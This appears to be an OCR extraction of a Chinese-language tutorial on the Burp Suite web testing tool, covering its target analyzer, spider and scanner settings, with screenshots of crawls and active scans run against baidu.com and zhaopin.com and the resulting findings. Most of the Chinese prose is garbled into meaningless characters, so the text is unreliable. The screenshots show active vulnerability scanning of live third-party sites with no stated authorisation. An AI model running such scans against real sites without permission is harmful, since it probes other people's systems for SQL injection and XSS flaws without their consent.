hitps://www baidu.com Iv.php GET 2

Reguest IResponse I Parameters ]

JRBW THeaders Hex | HTML T Render ]

HTTP/1.1 200 OK
Server: bfe/1.0.8.14

Content-Type: text/html

Content-Length: 16383
Connection: close

Accept-Ranges: bytes

Date: Thu, 31 Mar 2016 12:24:17 GMT

Last-Modified: Fri, 29 Jan 2016 08:52:09 GMT
ETag: "3fff-52a75267fc040"

5.5 4 URL ML 5304 URL ALEIZEEL, A,

Cache-Control: max-age=86400 >
Favmtemns Ml !\J_l\a.:l!l1£ 19%%A0.17 FAAT ).
? < + = Type & search term 0 matches




E Target analyzer I Ettps:”www.galdum EE.L

[ Summary T Dynamic URLs TStntlcURLs T Parameters ]
Host 4| URL Status | Length Time requested }
https://www .baidu.com Iripn/ 302 626 20:28:33 31 =E 2016 T
https://www baidu.com Iripninc! 302 668 20:28:33 31 =E 2016 3
https:/fwww baidu.com Irobots.txt 200 2745 20:28:31 31 =E 2016
hitps://www baidu.com Isearch/ 302 663 20:28:26 31 =E 2016
|| https://www.baidu.com Isearch/error.html 200 11699 20:28:26 31 = E 2016
https://www baidu.com Ishifen/ 200 562 20:28:3231 =E 2016
https://www . baidu.com ftam-ogel/ 302 847 20:28:30 31 =E 2016
hitps://www .baidu.com ftam-ogel/1c5d7b26-f3f0-4dd7-a025-8c79809fecac.js 302 645 20:28:30 31 =E 2016
https://iwww.baidu.com [Itam-ogev769983t7-839d-4379-bb54-0ee463326987.js 302 646 20:28:30 31 =E 2016
https://www baidu.com lups/ 404 890 20:28:26 31 =E 2016
https://www .baidu.com Jups/data/ 302 408 20:28:31 31 =E 2016
hitps://www baidu.com lups/submit/ 302 409 20:28:26 31 = E 2016 ]
Reguest | Response
JRB\M T Params I Headers T Hex ]
GET /tam-ogel/76998af7-839d-4379-bb54-0ee463326987 js HTTP/1.1 -
Host: www.baidu.com U
Accept: */*
| Accept-Language: en I
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
| Connection: close i
Referer: v
[iJ [;J L;J [;J Type & search term 0 matches

6. ZHMIE A b T =AM, EHASERNSECHGT X, AR L 2 B o
BEATHE , XHERI R S HGEAT b ROV SECS T I EOLSIR, 1030 T IS5
B REA DR PEOVR A R T, 1RSI BB T B RS R .

BT Toraet analyer TR i o . — .| 5

[ summary | Dynamic URLs | static URLs | Parameters |

Name A | Number of URLs

pro 1 A
product
recid

m

|| rs_src
rsp

& oo e IR

Host 4| URL | Method | Params | Value [product]
https://www baidu.com lups/data/gettips/ GET 2 ps
hitps:/fw ww.baidu.com | lupssubmit/addtips/ | GET 2 ps

IS P a—
J Request T Response T Parameters ]

_J Raw T Params T Headers T Hex ] I
GET /ups/submit/addtips/?product=ps&tips= HTTP/1.1 [a
| Host: www.baidu.com I
Accept: =/*

| Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) v

w CJ u u Type & search term 0 matches

FEAE IR T o Mr DO RERT, @ EGER, EThAE I B AT X ul R B TR ISR URL 14T 704,
IARFELE URL ALK, WA R R, ESCBRE s, AR miuh mA i Oh i
&, WERIRE URL AT S H, Mt Bk X, R e A MEss URL kot






N WA Burp Spider

R — &R, AT AR, EET Burp Target st S5 8, AT LLE L% F]
Burp Spider H it 473 S5 B RCH . X —EIRATE foK 5 >] Burp Spider A, FEAE
PR AT I :

Spider %] (Control)

Spider ] LT & (Options)

Burp Spider FZ)fg 3 248 T KRB R RGN, REAEAR JL A IR H) A 365 B JRAT T b
T RARGWSE AT, A IEEREF Spider £,

Spider %

Spider %1 5 1H tH Spider KA Spider /£ A8 AN Dy RE4L % -

Spider RA&FR 7 R UHTEE . ARTEO. ERWIIFER G B4, I&F Spider i217/& 1514
582 AFE, 43 5 FH SR 45 1 Spider J& fi2 17 MIA S b S 5 2 . 1 Spider 1E 3802
F k4% Spider AMEGE L, N EIFRIRATT LG B PR X, —FR A E—= 3
Target Scope, 7 —FEH 7 HE Lo SIATEH 7 B UL, S e B R T R,
wF EHTR .



@ Spider Scope
;J (U Use suite scope [defined in Target tab]

@® Use custom scope

Add Enabled | Protocol | Host/IP range | Port | File

Edit

Remove

Paste URL

Load ...

|

,_
.

» 9
g| =z

Enabled | Protocol | Host/IP range | Port | File

; ‘
g
4

Paste URL

,_
-
o
0
a

7

PEALF B s PR G B 5 Target Scope I B 52—, BMAEH HLESH L —=
Target Scope NACHE -
Spider AL &

Spider FIETE HIUBCBCE . JIDURHBE . RPIETCRE . M GRBE . k5%
BEE IR E SR BEE AN A

UGB E (Crawls Settings) - I A SRA2 Al AN HTCH X T P4 2 4 5 3

2| Crawler Settings

G These settings control the way the Spider crawls for basic web content.

[ Check robots.txt

/] Detect custom “not found® responses
# Ignore links to non-text content

(¥ Reguest the root of all directories

[¥] Make a non-parameterized request to each dynamic page

Maximum link depth: 5

Maximum parameterized requests per URL: | S0

ENS
M RRSE: K7 robots.txt SO Kl 404 N& . 20N 2 NZ IBER:. TREUR HSE R
P SCHE AN E S A3 TUH ROE TS HOE K . ORBERIREE . KK URL 2
B H
PUEACHE X B (Passive Spidering )



2| Passive Spidering
d Passive spidering menitors traffic through Burp Proxy to update the site map without making any new requests.

(] Passively spider as you browse

Link depth to associate with Proxy requests: l b

XA B LR R, AN R Ak, NCHN @i Burp Proxy, MA@, 5
N BRI R RIRE . BN 0, FRRLMRIEE, Rt £/ 2% 0 URL ¥
s BLEH .

TR W E (Form Submission) R H4E A 1 B 3 B2 H S il 7E Mgk R BGE F o
X T form R HAE T, H AW E -

2| Form Submissios

0 These settings control whether and how the Spider submits HTML forms.

Individuate forms by: [Action URL, method, fields and values lJ

() Don't submit forms
() Prompt for guidance

@® Automatically submit using the following rules to assign text field values:

l Add } Enabled \ Match type | Field name [ Field value | \
@ Regex mail winter@example.com \ A ‘
Edit [t} Regex first Peter
& Regex last Winter |
tﬂj ™ Regex surname Winter >
up (€] Regex name Peter Winter
) Regex comp Winter Consulting
Down & Regex addr 1 Main Street v

[ Set unmatched fields to: | 555-555-0199@example.com

[ tterate all values of submit fields - max submissions per form: 10

BT hukmirh, X form 3R BE N B fdEH], BRiLIEFE Action URL.
method. fields. values, B[J[EJFfALFRIERPT url. 53K 77 GET 5t POST. U & kst
B AU LB, S Rk, o UEFEHE A EEE LA, iR

individuate Tomeaggy. |( Action URL, method, fields and values
Action URL
_ Action URL and method
(U Prompt for guidan,
% Action URL, method and fields
(® Automatically su .
Action URL, method, fields and values

(U Don't submit for

?%T%Eﬁuﬁﬁﬁf%J form & b 22
Ji ke ﬂmsci%i P LA SEHERME B3RS =R, ARSRAKE X

FE IR R A SRR P, XA AR B, 2T TR SIUBCR R, s

7

I, EZE@ENAA R B OF LRSS (EHBOME A ZhHS xR B A%,

IR J5 A B B WUEAT VLS (UGS AT RAASE FH 6 4 UG e A 1 DU QUL e iy s

=), BUAREREE, )5BS TR, HA N ER:




@® Automatically submit using the following rules to assign text field values:

| Add | |Enabled | Matchtype | Field name | Field value [ |
= = = - ]
Edit €] Regex first Peter
(] Regex last Winter
Remove7 (] Regex surname Winter >
(] Regex name Peter Winter
Up ) Regex comp Winter Consulting
] Regex addr 1 Main Street
[ Down J )] Regex city Winterville 'V

[ Set unmatched fields to: | 555-555-0199@example.com

[ tterate all values of submit fields - max submissions per form: |10

M BEFRATAT LA, X T 32 5 AN ISR AT AT DA IS e DA A2 52 b i 400 1 75 22,
AN R HAl ) JE PR NI AR — DN, TRV BB AL B I, 4t
—fREMARE. WK 555-555-0199@example.com

W S Ff (Application Login) 1 45 15 = 2 FH SR 42 il ICHCES , 8 o 0 1 () A 3 77 =Ko

2| Application Login

G These settings control how the Spider submits login forms.

() Don't submit login forms
(® Prompt for guidance
(U Handle as ordinary forms

() Automatically submit these credentials:

Username

BRI : AR EREE B
FLHNERE R /EASIER AT G E B, 42 R A1 form 244F
R — A, XTSRRI R IR E PRI ED - B E
fifi GEFFULI, 7525 T 7 B A RE S 45 2 H P 44 Fsas)
gk 51 4% B (Spider Engine)fl HTTP 4 .83k #% & (Requests Header)


mailto:如图中的555-555-0199@example.com
mailto:如图中的555-555-0199@example.com

@ Spider Engine

G These settings control the engine used for making HTTP reguests when spidering.

Number of threads: 10
Number of retries on network failure: 3
Pause before retry (miliseconds): 2000

[[J Throttle between reguests (miliseconds): |0

Add random variations to throttie

Request Headers

These settings control the request headers used in HTTP requests made by the Spider.

E &

Add Accept: ¥/*
Accept-Language: en
Edit User-Agent: Mozilla/S.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

&
E
v

E

Down

,__
-

() Use HTTP version 1.1
(] Use Referer header

ForA gk 5| B B 32 T A ORI T R U 2R FEE . 28 2 ey B i 8. B
(FEBREE, M HTTP WL E 2 H R & E Hitp R ESL B e X, e, FATAT
DL gniE B35 S, LB EIRR AR RS, SEARKFIA S, 8iFHfHREN
Safari W Wi 2%, F85E HTTP Bhil A 1.1, 1§ referer %%,



F-E= MM Burp Scanner

Burp Scanner [ Zh&E 3 E 2 F R A skl web RG0SR wIE, AT LAEH Burp
Scanner fRETATF LEX RGHATH @RISR FNSIZEN G, I Re (530 10 E 2 108
JIRAE S L 2L N T 22 B0 AIE i L

7EffH Burp Scanner 2 i, AR T ZEIEHACE Burp Proxy Hi% B ¥ W2 CHAh, B ZH

7E Burp Target 13 x5 B oo 77 78 75 B30 URL BB Eg 2. 0 R s
B urp SuteProessions! v16.27TE27%ed Loy,

Burp Intruder Repeater Window Help

_I Target T Prox Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer I Extender I Options T Alerts ]

Site map | Scope

Fitter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

> http:/facca.edu.zhaopin.com \Al Contents
| Contents

v http://alpha.zhaopin.com

‘ & iobsih | Host | Method | URL | Params | Status 4 | Length | MIME type | Title | Co
B ce @ zhaopin. 1 htmi b.zhaopin.com  GET Jjobs_html O

» http://arti Add to scope f.zhaopin.com T /jobs.htmi?deptid=1043108 ™ HTML

» http://bba Spider this branch

» hitp://bes Actively scan this branch

» | o hitp://bmg Passively scan this branch

> http://bmy Send to Intruder Ctrl+l

> hitp://byd Send to Repeater Ctr+R

> http:/ic hi Send to Sequencer

> http fican Send to Comparer ~
il i J s

\d hitp://cep Request in browser > -

» http:/icim

I e Engagement tools. > Response

4 Burp Target X3 55 i [ v /7 7R X Be B8 URL BRI, JRATTA A5 2 IR 8% URL i
T4 B A . PR TR A2 S]—F, — K523 Burp Scanner {8 ik

M2 WRLE D IR
REHEENEA:

Burp Scanner JE A ]
3% Burp Scanner 13375 1
Burp Scanner $##i#k &
Burp Scanner 3%
Burp Scanner ] &I &

Burp Scanner & A& A 20 7%

Burp Scanner JEAAS FH FE 5 NPT 15 AMPER, TESERRE T e A e, H AR
B ERESE T AL, 1.86iA Burp Suite IE% 3052 o 2RI ACE . 2.0
Burp Proxy, XPIEFZAIIRE, POE MM 7 ZEHE R EE URL Bl 3.5 3RA 1 VR,
BN LT, Burp Scanner 2B AELARS HE K, XTI R ITH BT 0 A K5 )
A RGIRTE . BN, 43RAT4TIF Burp Target I, t4x 78 ik i & vh B 7R 15 R 1 URL
o



Burp Scanner A B3 NP 15 AMPEE, FESERRE A el gE A By, H KRR
A EE A FEAXEs, 1.4\ Burp Suite 1E% 3303158 B W 2B B . 2.83E
Burp Proxy, XHIAEREEELIIGE, DU pd e T R 00 EEH URL B, 3. 43 AT T SR,
BN EOLT, Burp Scanner 234l i AR AR S 1I3E R, HXTIE SR I 23T 20 ok HE
RARFAERGIRIA. AR, 4IATITIF Burp Target i), tH47e 3k s & b B85 R 19 URL
P

k| Burp Suite Professional v1.6.27 - licensed to Larry_Lau e ——

Burp Intruder Repeater Window Help

_[_Tamet T Proxy T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer T Extender I Options TAlerts ]

[(stemap | scope |

| Fiter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

. http:#fwww.zhaopin com Ial Contents
e uetea | umL [puams| s 4] Lorgn | e | 10
» [ anging Spider this host hitp://www.zhaopin.com  GET ! O 200 151623  HTML Eoe T_méw aA%E. A
» [ anshan - " http://www .zhaopin.com  GET Irobots.txt (@] 200 458 script
o IR Snshon http://www.zhaopin.com  GET Istatic/analytics.js O 200 12497 script
» B anyang SRstieh can T host hitp:/fwww .zhaopin.com  GET lankang/ a HTML
» [ baoding Engagement tools P | http:#/www.zhaopin.com  GET Janqing/ a HTML
» B baoji Compare site maps http://www.zhaopin.com  GET Janshan/ (@] HTML
» [ baotou Expand branch GET Janshun/ (@] HTML
» [0 beihai Expand requested items 0.2l GET fanyang/ a HTML
» beijing Collapse branch http://www.zhaopin.com  GET /baoding/ (@] HTML 7
» B bengbu Delete host TK ==y Ty




4. FRATA] LA BHxF 1 38 3% Burp Target o st B R 954N A BoERE URL b, 332
B, 34T Active Scan. %EE%&E‘J%M*@% sy [YESY BIEATH#EEAN .

E  Burp Suite Professional v1.6.27 - licer
Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

Intercept I HTTP history IWebSockem history T Options ]

| Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edted | Status | Length | MIMEtype | Extension
1 http:/itjS.3lsoft.com GET Iserver_time O O

2 http://www.zhaopipcam 2FT 8 ] g 200 151623  HTML

3 hitp://crl.microsoft.{ http://www.zhaopin.com/ hicrosoftrootcert.crl (@] @] crl
4 hitp://tiS.3isoft.com|  Add to scope O o

16 http://down.3lsoft.q Spider from here O O 200 245 HTML htmi
31 nﬂp:lﬂj&?’lsoﬂ.comdeIELlecWQ1 LFNv... g (]

53 hﬂp:ll'!mages.z_hao; Db a passive scan lquery-1 A9.1:min.js (] O 200 92948 scrfpt jS
76 :ﬂp.;ﬁmgO:.z:m.m_a Candth uder Ciri+l r_ef_Params.js a (@] 200 f475 scr!pt ;s
82 ttp://img01.z! aop! Send to Repeater CtrR 1fn.;s (] O 200 88429 scr!pt jS
87 http://img01.zhaopil g (] 200 107608  script s

| Send to Sequencer . . . % 7

38 http:/fimg01.zhaopil EX.min-new.js?versio... ] @] 200 16355 script s
=% Send to Comparer (request)

6.1XIf, FATFTIT Burp Scanner iEIiF, ERASI TR, & B HATHREE. W
R BT URL, 5 A 45 R A3 2

K Burp Suite Professional v1.6.27 - licensed to Larry_Lau =]
Burp Intruder Repeater Window Help

Se item 3 |5 4% lete | http://www.zhaopin.
Target | Proxy | Spider | Scanner | Intruder RepeatefTSequencerTDecnd«TCnmparerTExtendﬂ TOpﬁon; [ Scan item 3| S issues | 4% complete | httpi// aopin.com/

J Scan queue I Live scanning T Issue defintions | Options —l R fce et | ase response

'\ Password field with enabled
# | Host 4| uRL | status i Cross-domain script include
1 httpiiacca.edu.zhaopin.com i finished i Email addresses disclosed
2 http://www.zhaopin.com / cancelled i Private IP addresses disclosed
3 http:/iwvew.zhaopin.com ! 4% complete i Frameable response (potential Clickjacking)

/ / R
&

| Advisory | Request | Response

#

@ Password field with autocomplete enabled

Issue: Password field with autocomplete enabled
Severity Low

Confidence: ~ Certain

Host: http:/iwww.zhaopin.com

Path: 1

Issue detail

The page contains a form with the following action URL:

@ https://passport.zhaopin.

The form contains the following password field with autocomplete enabled:

@ Password

Issue background

7. RIATAE Burp Target ¥t g3t B N IEFIEAT Hadb AT 394, W25 i SEAAL i a4t
e T, FATRT PR ETEAT R, fe e SRR SR A e E 2 N




k| Burp Suite Professional v1.6.27 - licensed to Larry_Lau

Burp Intruder Repeater Window Help

_[Targa I Proxy TSpider TScanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender TOpﬁons TAlerts ]

Site map | Scope

| Fitter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

e ankang items, to make your scanning more targeted and efficient.

» [0 anging
» [ anshan G
» [ anshun R

> r changchun
» [ changde

> changshu

» [ changzhi

» [ changzhou
» [ changzhutan
» [[§ chaozhou

» [ chengde

= A
> http://www.yintechi.com 4| | B Active scanning wizard EM
p
v http://www.zhaopin.com
Dv ! EJ You have selected 1 item for active scanning. Before continuing, you can use the fitters below to remove certain categories of

» [ anyang
» [ baoding ?E% Rem [;
—
> 1__ baoji [ Remove items with media responses [0+ items]
> baoto
| i Y ¥ Remove items with the following extensions [0 items]
» [0 beihai
» [0 beijing is,gif.jpg,png,css
» [ bengbu
» [ binzhou Note: Some of the selected items do not yet have responses. If you choose to remove items with media responses, some of these
» [ bozhou 1 items may be removed from the scan when their responses have been analyzed.
» [ cangzhou )| FEERAYS KA

8. 4FATH R A 2] Burp Scanner JEIIR AN, E&FEHT HXEEHIGAETHF, HH
i ORGHEERE T EFEAMASRZ D, 9 BRANTKA E LT HinfEHAE (Target
Scope) , HfEIHAIJT A AELE Burp Target ub S & A7 o o S e b s n 204 F R, 4R

Ja BEhETH i

10.4R J5 #E A\ Burp Scanner ] Live scanning &1, 7E Live Active Scanning #i5er,
% Use suite scope, iX#, Burp Scanner ¥ H3h#3$4 33 Burp Proxy 22 HAZ &

12 3R A 0 DA ot 7 I R Ge AT, Burp Scanner ANa ROBHAHHIE K

B8, BENWERIAZ AR BRI L, 58 B RKIE B R 247 .

12,0k, AR



| Burp Target 3t s &I i, CREIR7R RGEATREAFAE ARG D0, DA S AR BRI L T A 2

13.[AS, FA AT AR TR 4 13E SRA5 B b, KV B 15 2] Burp Repeater #5238, X il
Bt AT 7 M AN AIE .

14.[#% Burp Scanner A3 HEE, 7E Burp Target 34 s ith B AT _E 1 issues AR B A (1) I 3
R WS AWM. 15.24 Burp Scanner A 5E i 5, FRATAE Burp Target 3k & 1 I i1
R AT, KIRIEFR issues-->report issues for this host B A] 5 H TR 15



‘{.; Burp Suite Professional v1.6.27 - licensed to Larry_Lau s —
Burp Intruder Repeater Window Help

_[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

Site map | Scope l

| Fiter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

v |, hitp:/fwww.zhao

D / . http:/iwww.zhaopin.com/
» [ ankang Add to scope fethod | URL | Params | Status & | Length | MIME type [1
» [ anaing Spider this host BET / O HTML
» [0 anshan Actively scan this host
» I anshun Passively scan this host
> [: anyang Engagement tools >
> L Saading Compare site maps
> baaji
» B baotou Expand branch
» BB bewai Expand requested items
» B beiing Collapse branch
» [ bengbu Delete host ~7 | I
» B8 binzhou Copy URLs in this host —
» [ bozhou Copy links in this host
» [0 cangzhou Save selected items
» [0 changchun y Issues , Report issues for this host
> [ changde View P [ Delete issues for this host :
> | changshu Show new site map window
» [ changzhi Site map help
» [ chanazhou

Burp Scanner #3772

DL E AR D IRIRATTAT L2 2] 3, Burp Scanner 3307 N EA WM. TR
g A

FshFHE (Active Scanning)

A ES R, Burp &R N AGE B IE R IFEL payload Bk . XA
) BfE, SRR RAB A SR, HEMM ARG NIERE, @EENAEIRE . €
b IO S ER SRRy SRINEREPYE 3

1. BRI, 1 XSS, Http SkiE . #AEE E ),
2. MRS mEIRIA, 5 SQLEN. A 1TiEN Xl .

TR — 2K, Burp fEACII, 233852 —F input 35, SR JEARYE N IR AT T . 72
R RE T, Burp & XA A RAF BREAT B, RURSE IR B RAES S B AT 182, AR
NHAT R, DU EIRRIFE R H . 6 T3 2RI, — ORI LR R A, TR R A
£ IRS5aMl. betnii SQLIEN, A AIREEIR I Hs R IR E ., WA TR A tA
Kte Burp fERE I RE S, SRS ARG IR S AL, s 2 a s osm k2
B Boolean ft, SHUHIIIRKISE RAATHLEL, CEH m PRI R .

Wizhi3 (Passive Scanning)



Sl ehF N, Burp AN BTSSR, © 2N QA7 1R B3 RO R 2 2t
AT 93T, XX RGN LG 2 4y, SR HAEVRBERCT 10 VT R HEAT Y, I8 T AR A
BRI . — R, R F1IR L I T A A AR R o S s oK

PR 1B Ry A T (1) B S

N2z 4=[P) Cookie @, ELiandh/ i HitpOnly Fl4 445 &
cookie [1)E Rl 2k o

35 S B AS 6,5 3t 25 5] RS o

KEPEANER, THEHEH,

SSL TRIF 1 N B ZAT-

EEZIESS

PRAT B J VB JE IR

session 4 WL AN 2 AL i

BUBE Bk Es, BN IP Hhhl, HEFERRHihl, MEARPRERSEE BE .
. 2241 ViewState [1C &

12. HHREGEE AHVER) Content-type 54 .

BRPE AR XA T B AHRZ AL, HEMNERE EE AR LI, B
T RTSCUCHIN RGN AE BATIRA Y A P 22 42 4b, 28Rl 25 47 55 B0k, A0k
R 2 RO ST BT T R R, BRATT AT DU e s A s, KRR IR R S A A
el 1 A o

© o N O~ ODNPRE

'_\
g

Burp Scanner {3k &

HPEAS—N ARG T A G, W R EA RS, Burp Scanner SCRFHR R A
H HTML f1 XML PR Teikmfiks i sy, HAREAR—, FEHUL Y
H. ERHIT LSS Burp Scanner report &1

BR T Sk LRI H b, B—NMRAMETEEEE: 175 BRwENTS, a2
AMEFERIRT, EFREEFE—NF5. 2R, o LL bR S OWASP kR
OGN . 3IRMIALFR, BAKA] 3% Issue Definitions 7&K . 4.8, IRIFNR )%
A URL 858, SIRIAMIKRAERS, @¥ ASEL. 6.8 MR (Issue background) ik
iR KA 780038 (Remediation background) & v i) L AT Y 8.3 R Tl .
RN 209 BRI S B

U R FRATTAE S SR A 5 AT ARAT, 755 Burp Target Ak s i A 358 T f i 258 T AR
(Issue) FAdi, TEHHHISEEAPES report Issues BHATWE HFARFFEN A . (ER, R
M SHTAEMEE, TEEPFERNRENR BASHRERENSRD T 1LE+RH
PR AR, ARt e, R E:


https://portswigger.net/burp/samplereport/BurpScannerSampleReport.html

Target | Proxy r Spider f Scanner Vlntmder I RepealefT Sequencer TDecherTCtm\parefT Extender | Options | A

[[stemap | scope |

l Fiter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

Issues

=)

@ Cleartext submission of password [18]
| Password submitted using GET method [19]
| Password field with autocomplete enabled [38]

" Source code disclosure [18]
¢

Emailaddre 10 issues selected
Private IP

Credit card| Set severity
Robots.txt{ Set confidence
Framesble { Delete selected issues.

View

> vongoe T

» B binzhou | Contents

» [ bozhou Host | Method | URL | Params | Status & | Length | MIME
» [ cangzhou http://www.zhaopin.com  GET ! o 200 150548 HTMIA
> [ changchun hitp:i/wwwi.zhaopin.com  GET Jankang/ g 200 101790 HTMI
» [ changde hitp://wwwi.zhaopin.com  GET Janqing/ o 200 99084 HTMI

» [0 changshu http:/iwwiw.zhaopin.com  GET Ianshan/ (o] 200 109717 HTM

» [ changzhi hitp://www.zhaopin.com  GET Janshun/ o 200 92002 HTM

» [ changzhou hitp:/iwww.zhaopin.com  GET Janyang/ o 200 116554 HTMI
» [0 changzhutan hitp://wwiw.zhaopin.com  GET /baoding/ a 200 148680  HTM

» [ chaozhou hitpuiiwwwi.zhaopin.com  GET Ioaoji o 200 102557 HTMI
»r[ chengde hitp:/ivwiww zhaopin.com  GET  /baotou/ [l 109676 Ty
> chengdu s
» [T chenzhou ELS — =

» [g chifeng Request | Response

» [T chizhou —_—

Show new site map window

ssues help

0 7 3 [ X A P i 9 o AR R 25 R 2k

TR AR AR

3.iEHN




-

Select how HTTP request messages should appear in the report.

(U Do not include reguests
@® Include relevant extract
() Include full requests

Limit to bytes

Select how HTTP response messages should appear in the report.

(U Do not include responses
@® Include relevant extract

() Include full responses

Limit to byt

o
(7]

piincn| ety

AL AR L IR

5.1 HR



TR EREAFALE . W& LR E .
‘7: B canner reporting wizard , @ - -

@ Select the file where the report will be saved.

-

L Select file ... J C:\Users\jason\Desktop\iii£# < .html

Specify the title and structure to use in the report.

Report title MEZFE

Issue organization By type | ¥

Table of contents levels | 2 | Vl

Summary table All issues ﬂ

Summary bar chart [High, medium and low issues |ﬂ

[¥¥) Embed images within HTML (requires modern browser)

piincn| ety

Burp Scanner $3544% il

J& >



EXF R G S, JIRATEE Burp Scanner, F38 3% HI FAH <& B W EINITE T .
w FE PR, 4IRATFE Burp Target b st B E A4S URL $44T Actively scan this host
i, 2 B EIERE.

EIXE, AT CABCE T S8 2 AR N . 1€ js. css. BT SEFHAS BT
AEA e Cnext] #2410, BEASAHEEAR > SCRYIEFE ST . W h

E Active scanning wizard =6

@ Review the items you have selected for scanning. Double-click items to view full details. You can remove individual
items which you do not wish to scan, or go back to modify your general filters.

Host 4 Method | URL | Params | Ct
hitp:/iwww.zhaopin.com GET / 0 0|a
http:/fiwww.zhaopin.com GET /ankang/ 0 0 5
hitp:/iwww.zhaopin.com GET /anqing/ 0 0
http:/fwww.zhaopin.com GET /anshan/ 0 0
http:/fvww.zhaopin.com GET /anshun/ 0 0
http:/Awww.zhaopin.com | GET fanyang/ 0 0
http:/iww.zhaopin.com GET /baoding/ 0 0 i
http:/iwww.zhaopin.com GET /baojil 0 0
hitp:/iwww.zhaopin.com GET /baotou/ 0 0 L
http:/fwww.zhaopin.com GET Ioeihail 0 olv| [
< J Y |
241 items l Remove J l Revert J

Note: You have selected to remove items with media responses. Some of the above items do not yet have N
responses and so may be removed from the scan when their responses have been analyzed.

Back OK




PL L2 Burp Scanner FFUAH T 3% H,
It B, 7£ Scan queue PAFISFTH, 2 BRI R

B
i ——

Burp Intruder Repeater Window Help

MV E X 5, BRI HER B
LA 1SR IR GE T 5515

[Target I Proxy ISpider IScanner I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Options IAlens ]

Results | Scan queue I Live scanning I Options ]

# 4 | Host ‘ URL | Status | Issues | Requests | Errors | Insertion points ‘
1 http:/imww.zhaopin.com 1 25% complete 6 3 3
2 http:/iww.zhaopin.com Icitymap.html 25% complete 7 " 3
3 http:/iwww.zhaopin.com Istatic/analytics.js 25% complete 1 2 3
4 http://www.zhaopin.com Imobile/mobile.html 25% complete 4 10 3
5 http:/fwww.zhaopin.com ljobseekerfindex_industry.html 25% complete 4 10 3
6 http:/iwww.zhaopin.com ljobseeker/index_ithtml 25% complete 16 3
7 http:/fiwww.zhaopin.com /hydlo1/ 25% complete 8 3 3
8 http:/iwww.zhaopin.com /hydl07/ 25% complete 8 3 3
9 http:/fwww.zhaopin.com /hydl03/ 25% complete 8 3 3
10  htip:’iwww.zhaopin.com Ihydl02/ 25% complete 8 2 3
11 http:/mww.zhaopin.com Ihydl10/ waiting

FEM S b, BATA AR P IEANE S, A SR S i, AT I
T&& %173‘3?”\ V“’EEI}‘E\ %Eﬁﬁﬂ Burp 41155, 40~

EA/UEVRIEER

Burp lntruder Repeater Window Help

[Target I Proxy T Spider TScanner T Intruder T Repeater T Sequencer T Decoder TComparer T Extender T Options T Alerts ]

Results | Scan queue | Live scanning | Options

I_,IHT 1F Results 71,

H 31 5 BA A o C 2354 5¢ 1 A e 1 B 4

# a|Host | URL | status | Issues | Requests | Errors | Insertion points |
1 http:/iwww.zhaopin.com ] 25% complete 16 3
2 http:/iww.zhaopin.com Icitymap.html 50% complete 7 44 3
3 hitp:/iwww.zhaopin.com Istatic/analytics.js 25% complete 1 23 3
4 hitp:/www.zhaopin.com Imobile/mobile.html finished 4 69 3
5 http:/fiwww.zhaopin.com fiob dex_industry.html 75% complete 4 73 3
6 http:/iwww.zh com finhcepkerfindey it html finished 83 3
7 http:/iwww.zhaopi Show details 50% complete 8 34 3
8 hitp:/mww.zhaop Scan next 50% complete 8 42 3
9 hitp:/mww.zhaop Cancel 50% complete 8 43 3
10  hitp:iwww.zhaop Scan again 50% complete 8 33 3
11 hitpZ/iwww.zhaopi Deleteitems 25% complete 8 " 3
12 hitp:’iwww.zhaop Delete finished items 25% complete 8 5 3
13 hitpiiwww.zhaopi : i } waiting
(A0 b o ohs bl Automatically delete finished items i
15  hitp:’www.zhaopi Rausescanier waiting
16 httpdiwww.zhaop] ~ Scan queue help waiting
17  hitpJ/iwww.zhaopin.com Tguangzhoul waiting
18  hitpJ/iwww.zhaopin.com Ishenzhen/ waiting
19  hitp:/’www.zhaopin.com fianjin/ waiting
20  http:/iwww.zhaopin.com /dalian/ waiting
21 http:/mwww.zhaopin.com Ishenyang/ waiting

hitp:/imww.zhaopin.com fjinan/ waiting



Burp Intruder Repeater Window Help

Spider | Scanner | Intruder | Repeater TSequencer IDecoder Icamparer I Extender Iomions Alerts

Results | Scan queue | Live scanning | Options

» i http:z/bms.zhaopin.com @ Password field with autocomple abled (24 A

> i http:/ccxigreat.com » ) Password ﬁeld h

» i http:/ickmap.mediav.com > Source code di R IC10] » | High

> i http:/icm.miaozhen.atm.youku.com > i Cross-domain| get confidence > Medium

» i hitp:licm.vamaker.com » i Email address: Delete selected issues

» i hitp:iicpro.baidu.com > i Private IP adal @ Low

»  hitpimiserupdate.aliyun.com i Robots.txtfile ScnteueioD i Information

» @ http://mvp.mediav.com » i HTML does not specify charset [2] v False positive

» @) http://pv.mediav.com » i Useragent-dependent response [2] Restore original value

» | hitp:ij5.3Isoft.com > iF P ial Cli 9] f
@ http:/mww.zhaopin.com > HTMI nse: ized charset 191 ¥

_[NNIS

0 Password field with autocomplete enabled

Issue: Password field with autocomplete enabled

Severity: High
Confidence: Certain

Host: zhaopin.com

Issue detail

24 instances of this issue were identified, at the following locations:

e/

@ [citymap.html
@ /datong/
- /datong/
@ /deyang/
@ /deyang/
@ /dezhou/
® /dezhou/
® [eerduosi/
® [eerduosi/
@ /enshi/

® Jenshi/

® /ezhou/

@ Jezhou/

» ffuzhou/

-« ffuzhou!

@ /hydl01/

@ /hydl02/

@ /hydl03/

® /hydl05/

@ /hydl07/

@ /hydl10/

g

TE4F— AR IR 2%

S—

H b, AT PGE R i . 7R3 H A g e, KIkikdE Set severity,
